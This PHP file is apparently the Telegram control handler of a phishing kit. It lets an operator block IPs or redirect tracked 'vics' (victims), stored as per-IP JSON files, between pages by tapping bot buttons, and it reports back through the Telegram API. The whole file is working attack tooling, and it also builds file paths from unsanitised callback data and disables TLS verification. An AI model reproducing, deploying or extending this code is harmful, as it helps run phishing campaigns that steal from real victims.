<?php
// Telegram Control Handler
require "classes/mother.class.php";
require "classes/admin.class.php";

$admin = new Admin;
$admin->setDataFile("data/admin.json");
$raw_bot = $admin->getData()["settings"]["telegram_bot"];
$maybe = base64_decode($raw_bot, true);
$bot_token = ($maybe !== false && strpos($maybe, ':') !== false) ? $maybe : $raw_bot;
$chat_ids = explode(",", str_replace(" ", "", $admin->getData()["settings"]["telegram_id"]));

if (!function_exists('sendTelegramWithButtons')) {
    function sendTelegramWithButtons($bot_token, $chat_id, $message, $ip = null) {
        require_once __DIR__ . '/../auth/class/TelegramKeyboard.php';
        $url = "https://api.telegram.org/bot$bot_token/sendMessage";
        $keyboard = TelegramKeyboard::panelInlineKeyboard($ip);
        $data = [
            'chat_id' => $chat_id,
            'text' => $message,
            'parse_mode' => 'Markdown',
            'reply_markup' => json_encode($keyboard)
        ];
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $result = curl_exec($ch);
        curl_close($ch);
        return $result;
    }
}

if (isset($_POST['callback_query'])) {
    $update = json_decode(file_get_contents('php://input'), true);
    if (isset($update['callback_query'])) {
        $callback = $update['callback_query'];
        $data = $callback['data'];
        if (preg_match('/^blockip_(.+)$/', $data, $matches)) {
            require_once __DIR__ . '/../auth/class/TelegramKeyboard.php';
            $ip = TelegramKeyboard::normalizeIp($matches[1]);
            if (TelegramKeyboard::blockIpAddress($ip)) {
                $m = new Mother;
                $vicFile = __DIR__ . "/data/vics/VIC-$ip.json";
                if (file_exists($vicFile)) {
                    $m->setDataFile($vicFile);
                    $m->update(array("REDIRECT" => 11));
                }
                $answerUrl = "https://api.telegram.org/bot$bot_token/answerCallbackQuery";
                $answerData = [
                    'callback_query_id' => $callback['id'],
                    'text' => "IP blocked: $ip",
                    'show_alert' => false
                ];
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $answerUrl);
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($answerData));
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                curl_exec($ch);
                curl_close($ch);
            }
        } elseif (preg_match('/^redirect_(\d+)_(.+)$/', $data, $matches)) {
            $pageID = $matches[1];
            $ip = $matches[2];
            $m = new Mother;
            $vicFile = __DIR__ . "/data/vics/VIC-$ip.json";
            if (file_exists($vicFile)) {
                $m->setDataFile($vicFile);
                $m->update(array("REDIRECT" => (int)$pageID));
                require_once __DIR__ . '/../auth/class/TelegramKeyboard.php';
                $pageName = TelegramKeyboard::pageName((int)$pageID);
                $answerUrl = "https://api.telegram.org/bot$bot_token/answerCallbackQuery";
                $answerData = [
                    'callback_query_id' => $callback['id'],
                    'text' => "✅ Redirected to: $pageName",
                    'show_alert' => false
                ];
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $answerUrl);
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($answerData));
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                curl_exec($ch);
                curl_close($ch);
            }
        }
    }
}
